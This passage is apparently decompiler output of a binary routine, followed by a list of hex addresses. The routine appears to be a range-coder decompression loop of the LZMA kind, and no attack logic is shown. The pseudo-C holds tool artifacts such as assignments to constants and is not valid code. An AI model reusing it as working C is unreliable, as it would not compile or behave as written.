							__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
							__eflags =  *(__ebp - 0x38) - 4;
							__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							if( *(__ebp - 0x38) >= 4) {
								__eflags =  *(__ebp - 0x38) - 0xa;
								if( *(__ebp - 0x38) >= 0xa) {
									_t98 = __ebp - 0x38;
									 *_t98 =  *(__ebp - 0x38) - 6;
									__eflags =  *_t98;
								} else {
									 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
								}
							} else {
								 *(__ebp - 0x38) = 0;
							}
							__eflags =  *(__ebp - 0x34) - __edx;
							if( *(__ebp - 0x34) == __edx) {
								__ebx = 0;
								__ebx = 1;
								goto L61;
							} else {
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__ecx =  *(__ebp - 8);
								__ebx = 0;
								__ebx = 1;
								__al =  *((intOrPtr*)(__eax + __ecx));
								 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
								goto L41;
							}
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
								__eax =  *(__ebp - 4);
								__eax =  *(__ebp - 4) + 0x664;
								__eflags = __eax;
								 *(__ebp - 0x58) = __eax;
								goto L69;
							}
							__eax =  *(__ebp - 4);
							__ecx =  *(__ebp - 0x38);
							 *(__ebp - 0x84) = 8;
							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
							goto L132;
						case 8:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xa;
								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
							} else {
								__eax =  *(__ebp - 0x38);
								__ecx =  *(__ebp - 4);
								__eax =  *(__ebp - 0x38) + 0xf;
								 *(__ebp - 0x84) = 9;
								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
							}
							goto L132;
						case 9:
							goto L0;
						case 0xa:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xb;
								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x28);
							goto L88;
						case 0xb:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__ecx =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x20);
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
							} else {
								__eax =  *(__ebp - 0x24);
							}
							__ecx =  *(__ebp - 0x28);
							 *(__ebp - 0x24) =  *(__ebp - 0x28);
							L88:
							__ecx =  *(__ebp - 0x2c);
							 *(__ebp - 0x2c) = __eax;
							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
							goto L89;
						case 0xc:
							L99:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xc;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t334 = __ebp - 0x70;
							 *_t334 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t334;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							__eax =  *(__ebp - 0x2c);
							goto L101;
						case 0xd:
							L37:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xd;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t122 = __ebp - 0x70;
							 *_t122 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t122;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L39:
							__eax =  *(__ebp - 0x40);
							__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
							if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
								goto L48;
							}
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								goto L54;
							}
							L41:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L39;
							} else {
								goto L37;
							}
						case 0xe:
							L46:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xe;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t156 = __ebp - 0x70;
							 *_t156 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t156;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							while(1) {
								L48:
								__eflags = __ebx - 0x100;
								if(__ebx >= 0x100) {
									break;
								}
								__eax =  *(__ebp - 0x58);
								__edx = __ebx + __ebx;
								__ecx =  *(__ebp - 0x10);
								__esi = __edx + __eax;
								__ecx =  *(__ebp - 0x10) >> 0xb;
								__ax =  *__esi;
								 *(__ebp - 0x54) = __esi;
								__edi = __ax & 0x0000ffff;
								__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
								__eflags =  *(__ebp - 0xc) - __ecx;
								if( *(__ebp - 0xc) >= __ecx) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
									 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
									__cx = __ax;
									__ebx = __edx + 1;
									__cx = __ax >> 5;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									 *(__ebp - 0x10) = __ecx;
									0x800 = 0x800 - __edi;
									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
									__ebx = __ebx + __ebx;
									 *__esi = __cx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0x10) >= 0x1000000) {
									continue;
								} else {
									goto L46;
								}
							}
							L54:
							_t173 = __ebp - 0x34;
							 *_t173 =  *(__ebp - 0x34) & 0x00000000;
							__eflags =  *_t173;
							goto L55;
						case 0xf:
							L58:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xf;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t203 = __ebp - 0x70;
							 *_t203 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t203;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L60:
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								L55:
								__al =  *(__ebp - 0x44);
								 *(__ebp - 0x5c) =  *(__ebp - 0x44);
								goto L56;
							}
							L61:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__ebx = __edx + 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L60;
							} else {
								goto L58;
							}
						case 0x10:
							L109:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x10;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t365 = __ebp - 0x70;
							 *_t365 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t365;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							goto L111;
						case 0x11:
							goto L69;
						case 0x12:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 0x58);
								 *(__ebp - 0x84) = 0x13;
								__esi =  *(__ebp - 0x58) + 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x4c);
							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							__eflags = __eax;
							__eax =  *(__ebp - 0x58) + __eax + 4;
							goto L130;
						case 0x13:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								_t469 = __ebp - 0x58;
								 *_t469 =  *(__ebp - 0x58) + 0x204;
								__eflags =  *_t469;
								 *(__ebp - 0x30) = 0x10;
								 *(__ebp - 0x40) = 8;
								L144:
								 *(__ebp - 0x7c) = 0x14;
								goto L145;
							}
							__eax =  *(__ebp - 0x4c);
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							 *(__ebp - 0x30) = 8;
							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
							L130:
							 *(__ebp - 0x58) = __eax;
							 *(__ebp - 0x40) = 3;
							goto L144;
						case 0x14:
							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
							__eax =  *(__ebp - 0x80);
							goto L140;
						case 0x15:
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
							goto L120;
						case 0x16:
							__eax =  *(__ebp - 0x30);
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push("true");
								_pop(__eax);
							}
							__ecx =  *(__ebp - 4);
							 *(__ebp - 0x40) = 6;
							__eax = __eax << 7;
							 *(__ebp - 0x7c) = 0x19;
							 *(__ebp - 0x58) = __eax;
							goto L145;
						case 0x17:
							L145:
							__eax =  *(__ebp - 0x40);
							 *(__ebp - 0x50) = 1;
							 *(__ebp - 0x48) =  *(__ebp - 0x40);
							goto L149;
						case 0x18:
							L146:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x18;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t484 = __ebp - 0x70;
							 *_t484 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t484;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L148:
							_t487 = __ebp - 0x48;
							 *_t487 =  *(__ebp - 0x48) - 1;
							__eflags =  *_t487;
							L149:
							__eflags =  *(__ebp - 0x48);
							if( *(__ebp - 0x48) <= 0) {
								__ecx =  *(__ebp - 0x40);
								__ebx =  *(__ebp - 0x50);
								0 = 1;
								__eax = 1 << __cl;
								__ebx =  *(__ebp - 0x50) - (1 << __cl);
								__eax =  *(__ebp - 0x7c);
								 *(__ebp - 0x44) = __ebx;
								goto L140;
							}
							__eax =  *(__ebp - 0x50);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
							__eax =  *(__ebp - 0x58);
							__esi = __edx + __eax;
							 *(__ebp - 0x54) = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								 *(__ebp - 0x50) = __edx;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L148;
							} else {
								goto L146;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								 *(__ebp - 0x2c) = __ebx;
								L119:
								_t393 = __ebp - 0x2c;
								 *_t393 =  *(__ebp - 0x2c) + 1;
								__eflags =  *_t393;
								L120:
								__eax =  *(__ebp - 0x2c);
								__eflags = __eax;
								if(__eax == 0) {
									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
									goto L170;
								}
								__eflags = __eax -  *(__ebp - 0x60);
								if(__eax >  *(__ebp - 0x60)) {
									goto L171;
								}
								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
								__eax =  *(__ebp - 0x30);
								_t400 = __ebp - 0x60;
								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
								__eflags =  *_t400;
								goto L123;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							 *(__ebp - 0x2c) = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								 *(__ebp - 0x48) = __ecx;
								L102:
								__eflags =  *(__ebp - 0x48);
								if( *(__ebp - 0x48) <= 0) {
									__eax = __eax + __ebx;
									 *(__ebp - 0x40) = 4;
									 *(__ebp - 0x2c) = __eax;
									__eax =  *(__ebp - 4);
									__eax =  *(__ebp - 4) + 0x644;
									__eflags = __eax;
									L108:
									__ebx = 0;
									 *(__ebp - 0x58) = __eax;
									 *(__ebp - 0x50) = 1;
									 *(__ebp - 0x44) = 0;
									 *(__ebp - 0x48) = 0;
									L112:
									__eax =  *(__ebp - 0x40);
									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
										_t391 = __ebp - 0x2c;
										 *_t391 =  *(__ebp - 0x2c) + __ebx;
										__eflags =  *_t391;
										goto L119;
									}
									__eax =  *(__ebp - 0x50);
									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
									__eax =  *(__ebp - 0x58);
									__esi = __edi + __eax;
									 *(__ebp - 0x54) = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
									__eflags =  *(__ebp - 0xc) - __edx;
									if( *(__ebp - 0xc) >= __edx) {
										__ecx = 0;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
										__ecx = 1;
										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
										__ebx = 1;
										__ecx =  *(__ebp - 0x48);
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx =  *(__ebp - 0x44);
										__ebx =  *(__ebp - 0x44) | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										 *(__ebp - 0x44) = __ebx;
										 *__esi = __ax;
										 *(__ebp - 0x50) = __edi;
									} else {
										 *(__ebp - 0x10) = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
										 *__esi = __dx;
									}
									__eflags =  *(__ebp - 0x10) - 0x1000000;
									if( *(__ebp - 0x10) >= 0x1000000) {
										L111:
										_t368 = __ebp - 0x48;
										 *_t368 =  *(__ebp - 0x48) + 1;
										__eflags =  *_t368;
										goto L112;
									} else {
										goto L109;
									}
								}
								__ecx =  *(__ebp - 0xc);
								__ebx = __ebx + __ebx;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
									__ecx =  *(__ebp - 0x10);
									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									 *(__ebp - 0x44) = __ebx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								if( *(__ebp - 0x10) >= 0x1000000) {
									L101:
									_t338 = __ebp - 0x48;
									 *_t338 =  *(__ebp - 0x48) - 1;
									__eflags =  *_t338;
									goto L102;
								} else {
									goto L99;
								}
							}
							__edx =  *(__ebp - 4);
							__eax = __eax - __ebx;
							 *(__ebp - 0x40) = __ecx;
							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
							goto L108;
						case 0x1a:
							L56:
							__eflags =  *(__ebp - 0x64);
							if( *(__ebp - 0x64) == 0) {
								 *(__ebp - 0x88) = 0x1a;
								goto L170;
							}
							__ecx =  *(__ebp - 0x68);
							__al =  *(__ebp - 0x5c);
							__edx =  *(__ebp - 8);
							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
							 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
							 *( *(__ebp - 0x68)) = __al;
							__ecx =  *(__ebp - 0x14);
							 *(__ecx +  *(__ebp - 8)) = __al;
							__eax = __ecx + 1;
							__edx = 0;
							_t192 = __eax %  *(__ebp - 0x74);
							__eax = __eax /  *(__ebp - 0x74);
							__edx = _t192;
							goto L79;
						case 0x1b:
							goto L75;
						case 0x1c:
							while(1) {
								L123:
								__eflags =  *(__ebp - 0x64);
								if( *(__ebp - 0x64) == 0) {
									break;
								}
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__edx =  *(__ebp - 8);
								__cl =  *(__eax + __edx);
								__eax =  *(__ebp - 0x14);
								 *(__ebp - 0x5c) = __cl;
								 *(__eax + __edx) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t414 = __eax %  *(__ebp - 0x74);
								__eax = __eax /  *(__ebp - 0x74);
								__edx = _t414;
								__eax =  *(__ebp - 0x68);
								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
								__eflags =  *(__ebp - 0x30);
								 *( *(__ebp - 0x68)) = __cl;
								 *(__ebp - 0x14) = _t414;
								if( *(__ebp - 0x30) > 0) {
									continue;
								} else {
									goto L80;
								}
							}
							 *(__ebp - 0x88) = 0x1c;
							goto L170;
					}
				}
			}

0x00000000
0x00406b0a
0x00406b0a
0x00406b0e
0x00406bc5
0x00406bc8
0x00406bd4
0x00406ab5
0x00406ab5
0x00406ab8
0x00406e2a
0x00406e2a
0x00406e2d
0x00406e2d
0x00406e33
0x00406e39
0x00406e3f
0x00406e59
0x00406e5c
0x00406e62
0x00406e6d
0x00406e6f
0x00406e41
0x00406e41
0x00406e50
0x00406e54
0x00406e54
0x00406e79
0x00406ea0
0x00406ea0
0x00406ea6
0x00406ea6
0x00000000
0x00406e7b
0x00406e7b
0x00406e7f
0x0040702e
0x00000000
0x0040702e
0x00406e8b
0x00406e92
0x00406e9a
0x00406e9d
0x00000000
0x00406e9d
0x00406b14
0x00406b18
0x00407059
0x00407059
0x0040705c
0x00407060
0x00407060
0x00406b1e
0x00406b24
0x00406b27
0x00406b2b
0x00406b2e
0x00406b32
0x00406ff8
0x00407044
0x0040704c
0x00407053
0x00407055
0x00000000
0x00407055
0x00406b38
0x00406b3b
0x00406b41
0x00406b43
0x00406b43
0x00406b46
0x00406b49
0x00406b4c
0x00406b4f
0x00406b52
0x00406b55
0x00406b56
0x00406b58
0x00406b58
0x00406b58
0x00406b5b
0x00406b5e
0x00406b61
0x00406b64
0x00406b64
0x00406b67
0x00406b69
0x00406b69
0x00406b6c
0x00406b6c
0x00406b6c
0x00406642
0x00406642
0x0040664b
0x00000000
0x00000000
0x00406651
0x00000000
0x0040665c
0x00000000
0x00000000
0x00406665
0x00406668
0x0040666b
0x0040666f
0x00000000
0x00000000
0x00406675
0x00406678
0x0040667a
0x0040667b
0x0040667e
0x00406680
0x00406681
0x00406683
0x00406686
0x0040668b
0x00406690
0x00406699
0x004066ac
0x004066af
0x004066bb
0x004066e3
0x004066e5
0x004066f3
0x004066f3
0x004066f7
0x00000000
0x00000000
0x00000000
0x00000000
0x004066e7
0x004066e7
0x004066ea
0x004066eb
0x004066eb
0x00000000
0x004066e7
0x004066c1
0x004066c6
0x004066c6
0x004066cf
0x004066d7
0x004066da
0x00000000
0x004066e0
0x004066e0
0x00000000
0x004066e0
0x00000000
0x004066fd
0x004066fd
0x00406701
0x00406fad
0x00000000
0x00406fad
0x0040670a
0x0040671a
0x0040671d
0x00406720
0x00406720
0x00406720
0x00406723
0x00406727
0x00000000
0x00000000
0x00406729
0x0040672f
0x00406759
0x0040675f
0x00406766
0x00000000
0x00406766
0x00406735
0x00406738
0x0040673d
0x0040673d
0x00406748
0x00406750
0x00406753
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406798
0x0040679e
0x004067a1
0x004067ae
0x004067b6
0x00000000
0x00000000
0x0040676d
0x0040676d
0x00406771
0x00406fbc
0x00000000
0x00406fbc
0x0040677d
0x00406788
0x00406788
0x00406788
0x0040678b
0x0040678e
0x00406791
0x00406796
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004067be
0x004067c0
0x004067c3
0x00406834
0x00406837
0x0040683a
0x00406841
0x0040684b
0x00000000
0x0040684b
0x004067c5
0x004067c9
0x004067cc
0x004067ce
0x004067d1
0x004067d4
0x004067d6
0x004067d9
0x004067db
0x004067e0
0x004067e3
0x004067e6
0x004067ea
0x004067f1
0x004067f4
0x004067fb
0x004067ff
0x00406807
0x00406807
0x00406807
0x00406801
0x00406801
0x00406801
0x004067f6
0x004067f6
0x004067f6
0x0040680b
0x0040680e
0x0040682c
0x0040682e
0x00000000
0x00406810
0x00406810
0x00406813
0x00406816
0x00406819
0x0040681b
0x0040681b
0x0040681b
0x0040681e
0x00406821
0x00406823
0x00406824
0x00406827
0x00000000
0x00406827
0x00000000
0x00406a5d
0x00406a61
0x00406a7f
0x00406a82
0x00406a89
0x00406a8c
0x00406a8f
0x00406a92
0x00406a95
0x00406a98
0x00406a9a
0x00406aa1
0x00406aa2
0x00406aa4
0x00406aa7
0x00406aaa
0x00406aad
0x00406aad
0x00406ab2
0x00000000
0x00406ab2
0x00406a63
0x00406a66
0x00406a69
0x00406a73
0x00000000
0x00000000
0x00406ac7
0x00406acb
0x00406aee
0x00406af1
0x00406af4
0x00406afe
0x00406acd
0x00406acd
0x00406ad0
0x00406ad3
0x00406ad6
0x00406ae3
0x00406ae6
0x00406ae6
0x00000000
0x00000000
0x00000000
0x00000000
0x00406b7b
0x00406b7f
0x00406b86
0x00406b89
0x00406b8c
0x00406b96
0x00000000
0x00406b96
0x00406b81
0x00000000
0x00000000
0x00406ba2
0x00406ba6
0x00406bad
0x00406bb0
0x00406bb3
0x00406ba8
0x00406ba8
0x00406ba8
0x00406bb6
0x00406bb9
0x00406bbc
0x00406bbc
0x00406bbf
0x00406bc2
0x00000000
0x00000000
0x00406c62
0x00406c62
